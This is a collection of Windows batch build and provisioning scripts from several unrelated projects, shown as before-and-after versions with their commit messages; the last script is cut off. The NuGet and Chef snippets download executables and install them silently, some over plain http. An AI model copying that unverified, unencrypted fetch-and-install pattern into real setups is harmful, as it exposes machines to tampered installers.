@SETLOCAL

@SET NUGET_EXE=NuGet
@SET CACHED_NUGET="%USERPROFILE%\.nuget\NuGet.exe"

@IF ["%APPVEYOR%"] == [""] (
    SET NUGET_EXE=%CACHED_NUGET%

    IF NOT EXIST %CACHED_NUGET% (
        echo Downloading latest version of NuGet.exe...
        IF NOT EXIST "%USERPROFILE%\.nuget" md "%USERPROFILE%\.nuget"
        powershell -NoProfile -ExecutionPolicy unrestricted -Command "$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'https://dist.nuget.org/win-x86-commandline/latest/nuget.exe' -OutFile %CACHED_NUGET:"='%"
    )
)

::@echo %NUGET_EXE%

@echo %NUGET_EXE% restore "%~dp0test\packages.config" -PackagesDirectory "%~dp0test\packages"
@call %NUGET_EXE% restore "%~dp0test\packages.config" -PackagesDirectory "%~dp0test\packages"

@SET config=%1
@IF ["%config%"] == [""] (
   SET config=Debug
)

@FOR /r %%F IN (*OpenCover.Console.exe) DO @SET cover_exe=%%F
@IF NOT EXIST "%cover_exe%" (
   echo Unable to find OpenCover console.
   EXIT /B 2
)
::@echo %cover_exe%

@FOR /r %%F IN (*ReportGenerator.exe) DO @SET report_exe=%%F
@IF NOT EXIST "%report_exe%" (
   echo Unable to find ReportGenerator.
   EXIT /B 2
)
::@echo %report_exe%

@SET results_path=%~dp0test\TestResults
@SET xunit_results=%results_path%\Xunit.Tests.html
@SET coverage_filter=+[Castle.Core.AsyncInterceptor*]* -[*.Tests]*
@SET coverage_results=%results_path%\Test.Coverage.xml

@IF NOT EXIST "%results_path%" MD "%results_path%"

@echo dotnet build --configuration %config% "%~dp0test\Castle.Core.AsyncInterceptor.Tests\Castle.Core.AsyncInterceptor.Tests.csproj"
@dotnet build --configuration %config% "%~dp0test\Castle.Core.AsyncInterceptor.Tests\Castle.Core.AsyncInterceptor.Tests.csproj"
@IF ERRORLEVEL 1 (
   echo Error building the test project
   EXIT /B 2
)

cd "%~dp0test\Castle.Core.AsyncInterceptor.Tests"

::@echo dotnet.exe xunit -framework net47 -configuration %config% -nobuild -noshadow -html %xunit_results%
::@dotnet.exe xunit -framework net47 -configuration %config% -nobuild -noshadow -html %xunit_results%

@echo "%cover_exe%" -register:user "-target:dotnet.exe" "-targetargs:xunit -framework net47 -configuration %config% -nobuild -noshadow -html %xunit_results%" -returntargetcode -filter:^"%coverage_filter%^" "-output:%coverage_results%"
@"%cover_exe%" -register:user "-target:dotnet.exe" "-targetargs:xunit -framework net47 -configuration %config% -nobuild -noshadow -html %xunit_results%" -returntargetcode -filter:^"%coverage_filter%^" "-output:%coverage_results%"
@IF ERRORLEVEL 1 (
   echo Error executing the xunit tests
   EXIT /B 2
)

cd "%~dp0"

@echo "%report_exe%" -verbosity:Error "-reports:%coverage_results%" "-targetdir:%results_path%\Report" -reporttypes:Html
@"%report_exe%" -verbosity:Error "-reports:%coverage_results%" "-targetdir:%results_path%\Report" -reporttypes:Html

@SETLOCAL

@SET NUGET_EXE=NuGet
@SET CACHED_NUGET="%USERPROFILE%\.nuget\NuGet.exe"

@IF ["%APPVEYOR%"] == [""] (
    SET NUGET_EXE=%CACHED_NUGET%

    IF NOT EXIST %CACHED_NUGET% (
        echo Downloading latest version of NuGet.exe...
        IF NOT EXIST "%USERPROFILE%\.nuget" md "%USERPROFILE%\.nuget"
        powershell -NoProfile -ExecutionPolicy unrestricted -Command "$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'https://dist.nuget.org/win-x86-commandline/latest/nuget.exe' -OutFile %CACHED_NUGET:"='%"
    )
)

::@echo %NUGET_EXE%

@echo %NUGET_EXE% restore "%~dp0test\packages.config" -PackagesDirectory "%~dp0test\packages"
@call %NUGET_EXE% restore "%~dp0test\packages.config" -PackagesDirectory "%~dp0test\packages"

@SET config=%1
@IF ["%config%"] == [""] (
   SET config=Debug
)

@FOR /r %%F IN (*OpenCover.Console.exe) DO @SET cover_exe=%%F
@IF NOT EXIST "%cover_exe%" (
   echo Unable to find OpenCover console.
   EXIT /B 2
)
::@echo %cover_exe%

@FOR /r %%F IN (*ReportGenerator.exe) DO @SET report_exe=%%F
@IF NOT EXIST "%report_exe%" (
   echo Unable to find ReportGenerator.
   EXIT /B 2
)
::@echo %report_exe%

@FOR /r %%F IN (*xunit.console.exe) DO @SET xunit_exe=%%F
@IF NOT EXIST "%xunit_exe%" (
   echo Unable to find xUnit console runner.
   EXIT /B 2
)
::@echo %xunit_exe%

@SET results_path=%~dp0test\TestResults
@SET test_assemblies=%~dp0test\Castle.Core.AsyncInterceptor.Tests\bin\%config%\net47\Castle.Core.AsyncInterceptor.Tests.dll
::@SET test_assemblies=%test_assemblies% %~dp0test\More.Tests\bin\%config%\net47\More.Tests.dll
@SET xunit_results=%results_path%\Xunit.Tests.html
@SET coverage_filter=+[Castle.Core.AsyncInterceptor*]* -[*.Tests]*
@SET coverage_results=%results_path%\Test.Coverage.xml

@IF NOT EXIST "%results_path%" MD "%results_path%"

@echo dotnet build --configuration %config% "%~dp0test\Castle.Core.AsyncInterceptor.Tests\Castle.Core.AsyncInterceptor.Tests.csproj"
@dotnet build --configuration %config% "%~dp0test\Castle.Core.AsyncInterceptor.Tests\Castle.Core.AsyncInterceptor.Tests.csproj"
@IF ERRORLEVEL 1 (
   echo Error building the test project
   EXIT /B 2
)

::@echo "%xunit_exe%" %test_assemblies% -noshadow -html "%xunit_results%"
::@"%xunit_exe%" %test_assemblies% -noshadow -html "%xunit_results%"

@echo "%cover_exe%" -register:user "-target:%xunit_exe%" "-targetargs:%test_assemblies% -noshadow -html %xunit_results%" -returntargetcode -filter:^"%coverage_filter%^" "-output:%coverage_results%"
@"%cover_exe%" -register:user "-target:%xunit_exe%" "-targetargs:%test_assemblies% -noshadow -html %xunit_results%" -returntargetcode -filter:^"%coverage_filter%^" "-output:%coverage_results%"
@IF ERRORLEVEL 1 (
   echo Error executing the xunit tests
   EXIT /B 2
)

@echo "%report_exe%" -verbosity:Error "-reports:%coverage_results%" "-targetdir:%results_path%\Report" -reporttypes:Html
@"%report_exe%" -verbosity:Error "-reports:%coverage_results%" "-targetdir:%results_path%\Report" -reporttypes:Html

:chart_with_upwards_trend: Use the xunit console runner for test coverage


@echo off

SET TAR=
SET ZIP=
SET EXT=
SET CMD=
FOR /f "delims=" %%i IN ('where tar') DO SET TAR=%%i
FOR /f "delims=" %%i IN ('where zip') DO SET ZIP=%%i

IF NOT "%TAR" == "" (
    SET EXT=.tar.gz
    SET CMD=tar -C ../vendor/Popcorn/src/Pop -xpf
) ELSE IF NOT "%ZIP" == "" (
    SET EXT=.zip
    SET CMD=unzip -d ../vendor/Popcorn/src/Pop
)

SET SCRIPT_DIR=%~dp0
REM php %SCRIPT_DIR%pop.php %EXT% %*

if "%1" == "install" (
    FOR /f "delims=" %%i IN ('dir /B ..\vendor\Popcorn\src\Pop\*%EXT%') DO (
        echo Unpacking %%i...
        %CMD% ../vendor/Popcorn/src/Pop/%%i
        del ..\vendor\Popcorn\src\Pop\%%i
    )

    echo Complete!
)

@echo off

SET TAR=
SET ZIP=
SET EXT=
SET CMD=
FOR /f "delims=" %%i IN ('where tar') DO SET TAR=%%i
FOR /f "delims=" %%i IN ('where zip') DO SET ZIP=%%i

IF NOT "%TAR" == "" (
    SET EXT=.tar.gz
    SET CMD=tar -C ../vendor/Popcorn/src/Pop -xpf
) ELSE IF NOT "%ZIP" == "" (
    SET EXT=.zip
    SET CMD=unzip -d ../vendor/Popcorn/src/Pop
)

SET SCRIPT_DIR=%~dp0
php %SCRIPT_DIR%pop.php %EXT% %*

if "%1" == "install" (
    FOR /f "delims=" %%i IN ('dir /B ..\vendor\Popcorn\src\Pop\*%EXT%') DO (
        echo Unpacking %%i...
        %CMD% ../vendor/Popcorn/src/Pop/%%i
        del ..\vendor\Popcorn\src\Pop\%%i
    )

    echo Complete!
)

Work on the CLI feature

Work on the CLI feature


@inpath %1
@if errorlevel 1 goto add
@goto end

:add
@set PATH=%1;%PATH%
@goto end

:end

@inpath %1
@if errorlevel 1 goto add
@goto end

:add
@set PATH=%~1;%PATH%
@goto end

:end

Add quote-remover for addpath.bat

Add quote-remover for addpath.bat


@echo off
setlocal
for %%i in ("%~dp0.") do set file_dir=%%~dpnxi
for %%i in ("%file_dir%\..\Src\.") do set src_dir=%%~dpnxi
for %%i in ("%file_dir%\..\Bin\.") do set bin_dir=%%~dpnxi
set VbCodeLines="%bin_dir%\VbCodeLines.exe"
set Vb6="%ProgramFiles%\Microsoft Visual Studio\VB98\VB6.EXE"
if not exist %Vb6% set Vb6="%ProgramFiles(x86)%\Microsoft Visual Studio\VB98\VB6.EXE"

echo Cleanup %file_dir%...
for %%i in (%file_dir%\*.*) do (if not "%%~nxi"=="build.bat" del %%i > nul)
rd /s /q %file_dir%\Connectors
mkdir %file_dir%\Connectors
rd /s /q %file_dir%\Protocols
mkdir %file_dir%\Protocols
rd /s /q %file_dir%\Setup
mkdir %file_dir%\Setup
rd /s /q %file_dir%\Shared
mkdir %file_dir%\Shared
echo Copy sources from %src_dir%...
for %%i in (%src_dir%\*.bas;%src_dir%\*.cls;%src_dir%\*.frm;%src_dir%\*.frx;%src_dir%\*.vbp) do (copy %%i %file_dir% > nul)
echo Copy sources from %src_dir%\Connectors...
for %%i in (%src_dir%\Connectors\*.bas;%src_dir%\Connectors\*.cls) do (copy %%i %file_dir%\Connectors > nul)
echo Copy sources from %src_dir%\Protocols...
for %%i in (%src_dir%\Protocols\*.bas;%src_dir%\Protocols\*.cls) do (copy %%i %file_dir%\Protocols > nul)
echo Copy sources from %src_dir%\Setup...
for %%i in (%src_dir%\Setup\*.frm;%src_dir%\Setup\*.frx) do (copy %%i %file_dir%\Setup > nul)
echo Copy sources from %src_dir%\Shared...
for %%i in (%src_dir%\Shared\*.bas;%src_dir%\Shared\*.cls) do (copy %%i %file_dir%\Shared > nul)
echo Put lines to sources in %file_dir%...
for %%i in (%file_dir%\*.vbp) do (%VbCodeLines% %%i)
echo Compiling to %bin_dir%...
attrib -r "%bin_dir%\*.*"
for %%i in (%file_dir%\*.vbp) do (%Vb6% /m %%i)
echo Done.

@echo off
setlocal
for %%i in ("%~dp0.") do set file_dir=%%~dpnxi
for %%i in ("%file_dir%\..\src\.") do set src_dir=%%~dpnxi
for %%i in ("%file_dir%\..\bin\.") do set bin_dir=%%~dpnxi
set VbCodeLines="%bin_dir%\VbCodeLines.exe"
set Vb6="%ProgramFiles%\Microsoft Visual Studio\VB98\VB6.EXE"
if not exist %Vb6% set Vb6="%ProgramFiles(x86)%\Microsoft Visual Studio\VB98\VB6.EXE"

echo Cleanup %file_dir%...
for %%i in (%file_dir%\*.*) do (if not "%%~nxi"=="build.bat" del %%i > nul)
rd /s /q %file_dir%\Connectors
mkdir %file_dir%\Connectors
rd /s /q %file_dir%\Protocols
mkdir %file_dir%\Protocols
rd /s /q %file_dir%\Setup
mkdir %file_dir%\Setup
rd /s /q %file_dir%\Shared
mkdir %file_dir%\Shared
echo Copy sources from %src_dir%...
for %%i in (%src_dir%\*.bas;%src_dir%\*.cls;%src_dir%\*.frm;%src_dir%\*.frx;%src_dir%\*.vbp) do (copy %%i %file_dir% > nul)
echo Copy sources from %src_dir%\Connectors...
for %%i in (%src_dir%\Connectors\*.bas;%src_dir%\Connectors\*.cls) do (copy %%i %file_dir%\Connectors > nul)
echo Copy sources from %src_dir%\Protocols...
for %%i in (%src_dir%\Protocols\*.bas;%src_dir%\Protocols\*.cls) do (copy %%i %file_dir%\Protocols > nul)
echo Copy sources from %src_dir%\Setup...
for %%i in (%src_dir%\Setup\*.frm;%src_dir%\Setup\*.frx) do (copy %%i %file_dir%\Setup > nul)
echo Copy sources from %src_dir%\Shared...
for %%i in (%src_dir%\Shared\*.bas;%src_dir%\Shared\*.cls) do (copy %%i %file_dir%\Shared > nul)
echo Put lines to sources in %file_dir%...
for %%i in (%file_dir%\*.vbp) do (%VbCodeLines% %%i)
echo Compiling to %bin_dir%...
attrib -r "%bin_dir%\*.*"
for %%i in (%file_dir%\*.vbp) do (%Vb6% /m %%i)
echo Done.

Fix folder lower-case

Fix folder lower-case


@ECHO OFF
SET CLASSPATH=.;lib\commons-lang-2.4.jar;lib\commons-logging-1.1.1.jar;lib\ezmorph-1.0.6.jar;lib\json-lib-0.9.jar;lib\commons-beanutils-1.8.2.jar
javac -d . HttpApi.java
javac test.java

jar cvf HttpApi.jar com/test/HttpApi.class
SET CLASSPATH=.;lib\commons-lang-2.4.jar;lib\commons-logging-1.1.1.jar;lib\ezmorph-1.0.6.jar;lib\json-lib-0.9.jar;lib\commons-beanutils-1.8.2.jar;HttpApi.jar
java test
PAUSE

@ECHO OFF
SET CLASSPATH=.;lib\commons-lang-2.4.jar;lib\commons-logging-1.1.1.jar;lib\ezmorph-1.0.6.jar;lib\json-lib-0.9.jar;lib\commons-beanutils-1.8.2.jar
javac -d . HttpApi.java
jar cvf HttpApi.jar com/test/HttpApi.class

SET CLASSPATH=.;lib\commons-lang-2.4.jar;lib\commons-logging-1.1.1.jar;lib\ezmorph-1.0.6.jar;lib\json-lib-0.9.jar;lib\commons-beanutils-1.8.2.jar;HttpApi.jar
javac test.java
java test
PAUSE

修改 java 编译脚本

修改 java 编译脚本


@echo off
setlocal EnableExtensions
setlocal EnableDelayedExpansion
set KEY_NAME=HKEY_CLASSES_ROOT\VisualStudio.DTE.

if "%1"=="" (
	for /l %%x in (12, -1, 8) do (
		set "CUR_KEY=%KEY_NAME%%%x.0"
		reg query !CUR_KEY! >> nul 2>&1
		if !ERRORLEVEL! == 0 (
			echo "msvc%%x is installed"
			set "MSVS_VER=VS%%x0"
			set VS_MAJOR=%%x
			goto got_version
		)
	)
) else (
	set "MSVS_VER=%1"
)
:got_version
echo "Using %MSVS_VER%"

set GENERATOR_NAME=""
if /i "%MSVS_VER%" == "vs80" set GENERATOR_NAME="Visual Studio 8 2005"
if /i "%MSVS_VER%" == "vs90" set GENERATOR_NAME="Visual Studio 9 2008"
if /i "%MSVS_VER%" == "vs100" set GENERATOR_NAME="Visual Studio 10"
if /i "%MSVS_VER%" == "vs110" set GENERATOR_NAME="Visual Studio 11"
if /i "%MSVS_VER%" == "vs120" set GENERATOR_NAME="Visual Studio 12"

if %GENERATOR_NAME%=="" (
	set CMAKE_CMD=cmake
) else (
	set CMAKE_CMD=cmake -G %GENERATOR_NAME%
)

echo "Cmake command: %CMAKE_CMD%"

set "COMMON_TOOLS=%MSVS_VER%COMNTOOLS"
set DEVENV="!%COMMON_TOOLS%!\..\IDE\devenv.exe"

echo "Using %DEVENV% compiler"

set PWD=%CD%
set BASEDIR=%PWD%\..
echo "Working dir: " %PWD%
echo "Basedir: " %BASEDIR%
set PATH=%PATH%;%PWD%\cmake-2.8.12-win32-x86\bin;%PWD%\premake4.3
rd /S /Q %BASEDIR%\deps\glfw-3.0.3\build
md %BASEDIR%\deps\glfw-3.0.3\build
cd %BASEDIR%\deps\glfw-3.0.3\build
%CMAKE_CMD% ..
%DEVENV% GLFW.sln /Build
%DEVENV% GLFW.sln /Build "Release"
cd %PWD%
rd /S /Q %BASEDIR%\deps\zlib-1.2.8\build
md %BASEDIR%\deps\zlib-1.2.8\build
cd %BASEDIR%\deps\zlib-1.2.8\build
%CMAKE_CMD% ..
%DEVENV% zlib.sln /Build
%DEVENV% zlib.sln /Build "Release"
copy zconf.h ..
rd /S /Q %BASEDIR%\deps\lpng166\build
md %BASEDIR%\deps\lpng166\build
cd %BASEDIR%\deps\lpng166\build
set ZLIB_INCLUDE_DIR=%BASEDIR%\deps\zlib-1.2.8\
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Debug\zlibd.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Debug"
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Release\zlib.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Release"
cd %BASEDIR%\deps\lpng166
copy scripts\pnglibconf.h.prebuilt pnglibconf.h
cd %PWD%

@echo off
setlocal EnableExtensions
setlocal EnableDelayedExpansion
set KEY_NAME=HKEY_CLASSES_ROOT\VisualStudio.DTE.

if "%1"=="" (
	for /l %%x in (12, -1, 8) do (
		set "CUR_KEY=%KEY_NAME%%%x.0"
		reg query !CUR_KEY! >> nul 2>&1
		if !ERRORLEVEL! == 0 (
			echo "msvc%%x is installed"
			set "MSVS_VER=VS%%x0"
			set VS_MAJOR=%%x
			goto got_version
		)
	)
) else (
	set "MSVS_VER=%1"
)
:got_version
echo "Using %MSVS_VER%"

set GENERATOR_NAME=""
if /i "%MSVS_VER%" == "vs80" set GENERATOR_NAME="Visual Studio 8 2005"
if /i "%MSVS_VER%" == "vs90" set GENERATOR_NAME="Visual Studio 9 2008"
if /i "%MSVS_VER%" == "vs100" set GENERATOR_NAME="Visual Studio 10"
if /i "%MSVS_VER%" == "vs110" set GENERATOR_NAME="Visual Studio 11"
if /i "%MSVS_VER%" == "vs120" set GENERATOR_NAME="Visual Studio 12"

if %GENERATOR_NAME%=="" (
	set CMAKE_CMD=cmake
) else (
	set CMAKE_CMD=cmake -G %GENERATOR_NAME%
)

echo "Cmake command: %CMAKE_CMD%"

set "COMMON_TOOLS=%MSVS_VER%COMNTOOLS"
set DEVENV="!%COMMON_TOOLS%!..\IDE\devenv.exe"

echo "Using %DEVENV% compiler"

set PWD=%CD%
set BASEDIR=%PWD%\..
echo "Working dir: " %PWD%
echo "Basedir: " %BASEDIR%
set PATH=%PATH%;%PWD%\cmake-2.8.12-win32-x86\bin;%PWD%\premake4.3
rd /S /Q %BASEDIR%\deps\glfw-3.0.3\build
md %BASEDIR%\deps\glfw-3.0.3\build
cd %BASEDIR%\deps\glfw-3.0.3\build
%CMAKE_CMD% ..
%DEVENV% GLFW.sln /Build
%DEVENV% GLFW.sln /Build "Release"
cd %PWD%
rd /S /Q %BASEDIR%\deps\zlib-1.2.8\build
md %BASEDIR%\deps\zlib-1.2.8\build
cd %BASEDIR%\deps\zlib-1.2.8\build
%CMAKE_CMD% ..
%DEVENV% zlib.sln /Build
%DEVENV% zlib.sln /Build "Release"
copy zconf.h ..
rd /S /Q %BASEDIR%\deps\lpng166\build
md %BASEDIR%\deps\lpng166\build
cd %BASEDIR%\deps\lpng166\build
set ZLIB_INCLUDE_DIR=%BASEDIR%\deps\zlib-1.2.8\
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Debug\zlibd.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Debug"
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Release\zlib.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Release"
cd %BASEDIR%\deps\lpng166
copy scripts\pnglibconf.h.prebuilt pnglibconf.h
cd %PWD%

Remove an excess \ in the build script, it broke the dependency build :|


mvn install:install-file -DgroupId=at.ngmpps -DartifactId=DPC -Dversion=1.0-SNAPSHOT -Dpackaging=jar -Dfile=./DPC-2.1-SNAPSHOT.jar

mvn install:install-file -DgroupId=at.ngmpps -DartifactId=DPC -Dversion=3.2-SNAPSHOT -Dpackaging=jar -Dfile=./DPC-3.2-SNAPSHOT.jar

update version numbering

update version numbering


:: Copyright 2013 The Go Authors. All rights reserved.
:: Use of this source code is governed by a BSD-style
:: license that can be found in the LICENSE file.

:: race.bash tests the standard library under the race detector.
:: http://golang.org/doc/articles/race_detector.html

@echo off

setlocal

if exist make.bat goto ok
echo race.bat must be run from go\src
:: cannot exit: would kill parent command interpreter
goto end
:ok

call make.bat --dist-tool >NUL
if errorlevel 1 goto fail
.\cmd\dist\dist env -wp >env.bat
if errorlevel 1 goto fail
call env.bat
del env.bat

if %GOHOSTARCH% == amd64 goto continue
echo Race detector is only supported on windows/amd64.
goto fail

:continue
call make.bat --no-banner --no-local
if %GOBUILDFAIL%==1 goto end
echo # go install -race std
go install -race std
if errorlevel 1 goto fail
echo # go test -race -short -std
go test -race -short std
if errorlevel 1 goto fail
echo # go test -race -run=nothingplease -bench=.* -benchtime=.1s -cpu=4 std
go test -race -run=nothingplease -bench=.* -benchtime=.1s -cpu=4 std
if errorlevel 1 goto fail
goto succ

:fail
set GOBUILDFAIL=1
echo Fail.
goto end

:succ
echo All tests passed.

:end

add race.bat

src: add race.bat

R=golang-dev, dave, alex.brainman
CC=golang-dev
https://codereview.appspot.com/7133064


if not exist "C:\Windows\Temp\chef.msi" (
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://www.getchef.com/chef/install.msi', 'C:\Windows\Temp\chef.msi')" <NUL
)

msiexec /qb /i C:\Windows\Temp\chef.msi
powershell -Command "Start-Sleep 1" <NUL

@setlocal EnableDelayedExpansion EnableExtensions
@for %%i in (a:\_packer_config*.cmd) do @call "%%~i"
@if defined PACKER_DEBUG (@echo on) else (@echo off)

title Installing Chef Client. Please wait...

:: Download chef client
if not exist "C:\Windows\Temp\chef.msi" (
  echo ==^> Downloading Chef Client
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://www.chef.io/chef/install.msi', 'C:\Windows\Temp\chef.msi')" > NUL
  @if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://www.chef.io/chef/install.msi', 'C:\Windows\Temp\chef.msi')"
)

:: Install chef client
REG QUERY HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\1945256682812F8459C51AA05AD1CF7D > NUL
if not %errorlevel% equ 0 (
  echo ==^> Installing Chef Client
  msiexec /qb /i C:\Windows\Temp\chef.msi
  @if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i C:\Windows\Temp\chef.msi
)

:: Sleep
powershell -Command "Start-Sleep 1" <NUL

add idempotency and debug handling

add idempotency and debug handling


if not exist "C:\Windows\Temp\chef.msi" (
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://www.opscode.com/chef/install.msi', 'C:\Windows\Temp\chef.msi')" <NUL
)

msiexec /qb /i C:\Windows\Temp\chef.msi
powershell -Command "Start-Sleep 1" <NUL

if not exist "C:\Windows\Temp\chef.msi" (
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://www.getchef.com/chef/install.msi', 'C:\Windows\Temp\chef.msi')" <NUL
)

msiexec /qb /i C:\Windows\Temp\chef.msi
powershell -Command "Start-Sleep 1" <NUL

Update chef-client source to getchef.com


cscript msvc-scripts/rep.vbs //Nologo s/@HAVE_TI_MODE_V@/0/ < src\libsodium\include\sodium\crypto_scalarmult_curve25519.h.in > src\libsodium\include\sodium\crypto_scalarmult_curve25519.h

cscript msvc-scripts/rep.vbs //Nologo s/@HAVE_AMD64_ASM_V@/0/ < src\libsodium\include\sodium\crypto_stream_salsa20.h.in > src\libsodium\include\sodium\crypto_stream_salsa20.h

cscript msvc-scripts/rep.vbs //Nologo s/@VERSION@/0.4.3/ < src\libsodium\include\sodium\version.h.in > tmp
cscript msvc-scripts/rep.vbs //Nologo s/@SODIUM_LIBRARY_VERSION_MAJOR@/4/ < tmp > tmp2
cscript msvc-scripts/rep.vbs //Nologo s/@SODIUM_LIBRARY_VERSION_MINOR@/3/ < tmp2 > src\libsodium\include\sodium\version.h
del tmp tmp2

cscript msvc-scripts/rep.vbs //Nologo s/@HAVE_TI_MODE_V@/0/ < src\libsodium\include\sodium\crypto_scalarmult_curve25519.h.in > src\libsodium\include\sodium\crypto_scalarmult_curve25519.h

cscript msvc-scripts/rep.vbs //Nologo s/@HAVE_AMD64_ASM_V@/0/ < src\libsodium\include\sodium\crypto_stream_salsa20.h.in > src\libsodium\include\sodium\crypto_stream_salsa20.h

cscript msvc-scripts/rep.vbs //Nologo s/@VERSION@/0.4.5/ < src\libsodium\include\sodium\version.h.in > tmp
cscript msvc-scripts/rep.vbs //Nologo s/@SODIUM_LIBRARY_VERSION_MAJOR@/4/ < tmp > tmp2
cscript msvc-scripts/rep.vbs //Nologo s/@SODIUM_LIBRARY_VERSION_MINOR@/4/ < tmp2 > src\libsodium\include\sodium\version.h
del tmp tmp2

Update versions in process.bat

Update versions in process.bat


@echo off
setlocal
set mypath=%~dp0
set PATH=%PATH%;%mypath%\python2.7
set PYTHONPATH=%mypath%\lib
set OQ_SITE_CFG_PATH=%mypath%

doskey oq-engine=python.exe -m openquake.engine.bin.openquake_cli $*
doskey oq-lite=python.exe -m openquake.commonlib.commands $*

echo OpenQuake environment loaded
cmd /k

endlocal

@echo off
setlocal
set mypath=%~dp0
set PATH=%PATH%;%mypath%\python2.7
set PYTHONPATH=%mypath%\lib
set OQ_SITE_CFG_PATH=%mypath%

doskey oq=python.exe -m openquake.commands.__main__ $*
doskey oq-engine=python.exe -m openquake.commonlib.commands engine $*

echo OpenQuake environment loaded
cmd /k

endlocal

Update win to use new oq command

Update win to use new oq command


@ echo off
@ echo Salt Windows Build Script
@ echo.

:: Define Variables
@ echo Defining Variables...
@ echo ---------------------
Set "CurrDir=%cd%"
Set "BinDir=%cd%\buildenv\bin"
Set "InsDir=%cd%\installer"
Set "PyDir=C:\Python27"
Set "Version=%1"

:: Find the NSIS Installer
If Exist "C:\Program Files\NSIS\" (
    Set NSIS="C:\Program Files\NSIS\"
) Else (
    Set NSIS="C:\Program Files (x86)\NSIS\"
)
Set "PATH=%NSIS%;%PATH%"
@ echo.

@ echo Copying C:\Python27 to bin...
@ echo -----------------------------
:: Check for existing bin directory and remove
If Exist "%BinDir%\" rd /S /Q "%BinDir%"

:: Copy the Python27 directory to bin
@echo xcopy /S /E "%PyDir%" "%BinDir%\"
xcopy /S /E "%PyDir%" "%BinDir%\"
@ echo.

:: Remove the fixed path in .exe files
@echo Removing fixed path from .exe files
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\easy_install.exe"
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\easy_install-2.7.exe"
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\pip.exe"
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\pip2.7.exe"
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\pip2.exe"

@ echo Cleaning up unused files and directories...
@ echo -------------------------------------------
:: Remove all Compiled Python files (.pyc)
del /S /Q "%BinDir%\*.pyc"
:: Remove all Compiled HTML Help (.chm)
del /S /Q "%BinDir%\*.chm"

:: Delete Unused Docs and Modules
If Exist "%BinDir%\Doc"           rd /S /Q "%BinDir%\Doc"
If Exist "%BinDir%\share"         rd /S /Q "%BinDir%\share"
If Exist "%BinDir%\tcl"           rd /S /Q "%BinDir%\tcl"
If Exist "%BinDir%\Lib\idlelib"   rd /S /Q "%BinDir%\Lib\idlelib"
If Exist "%BinDir%\Lib\lib-tk"    rd /S /Q "%BinDir%\Lib\lib-tk"
If Exist "%BinDir%\Lib\test"      rd /S /Q "%BinDir%\Lib\test"
If Exist "%BinDir%\Lib\unit-test" rd /S /Q "%BinDir%\Lib\unit-test"

:: Delete Unused .dll files
If Exist "%BinDir%\DLLs\tcl85.dll"    del /S /Q "%BinDir%\DLLs\tcl85.dll"
If Exist "%BinDir%\DLLs\tclpip85.dll" del /S /Q "%BinDir%\DLLs\tclpip85.dll"
If Exist "%BinDir%\DLLs\tk85.dll"     del /S /Q "%BinDir%\DLLs\tk85.dll"

:: Delete Unused .lib files
If Exist "%BinDir%\libs\_tkinter.lib" del /S /Q "%BinDir%\libs\_tkinter.lib"

:: Delete .txt files
If Exist "%BinDir%\NEWS.txt"   del /q "%BinDir%\NEWS.txt"
If Exist "%BinDir%\README.txt" del /q "%BinDir%\README.txt"
@ echo.

@ echo Building the installer...
@ echo -------------------------
makensis.exe /DSaltVersion="%Version%" "%InsDir%\Salt-Minion-Setup.nsi"
@ echo.

@ echo.
@ echo ===================
@ echo Script completed...
@ echo -------------------
@ echo Installation file can be found in the following directory:
@ echo %InsDir%

done:
-if [%Version%] == [] pause
cls

@ echo off
@ echo Salt Windows Build Script
@ echo.

:: Define Variables
@ echo Defining Variables...
@ echo ---------------------
Set "CurrDir=%cd%"
Set "BinDir=%cd%\buildenv\bin"
Set "InsDir=%cd%\installer"
Set "PyDir=C:\Python27"
Set "Version=%1"

:: Find the NSIS Installer
If Exist "C:\Program Files\NSIS\" (
    Set NSIS="C:\Program Files\NSIS\"
) Else (
    Set NSIS="C:\Program Files (x86)\NSIS\"
)
Set "PATH=%NSIS%;%PATH%"
@ echo.

@ echo Copying C:\Python27 to bin...
@ echo -----------------------------
:: Check for existing bin directory and remove
If Exist "%BinDir%\" rd /S /Q "%BinDir%"

:: Copy the Python27 directory to bin
@echo xcopy /S /E "%PyDir%" "%BinDir%\"
xcopy /S /E "%PyDir%" "%BinDir%\"
@ echo.

:: Remove the fixed path in .exe files
@echo Removing fixed path from .exe files
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\easy_install.exe"
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\easy_install-2.7.exe"
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\pip.exe"
python "%CurrDir%\portable.py" -f "%BinDir%\Scripts\pip2.7.exe"
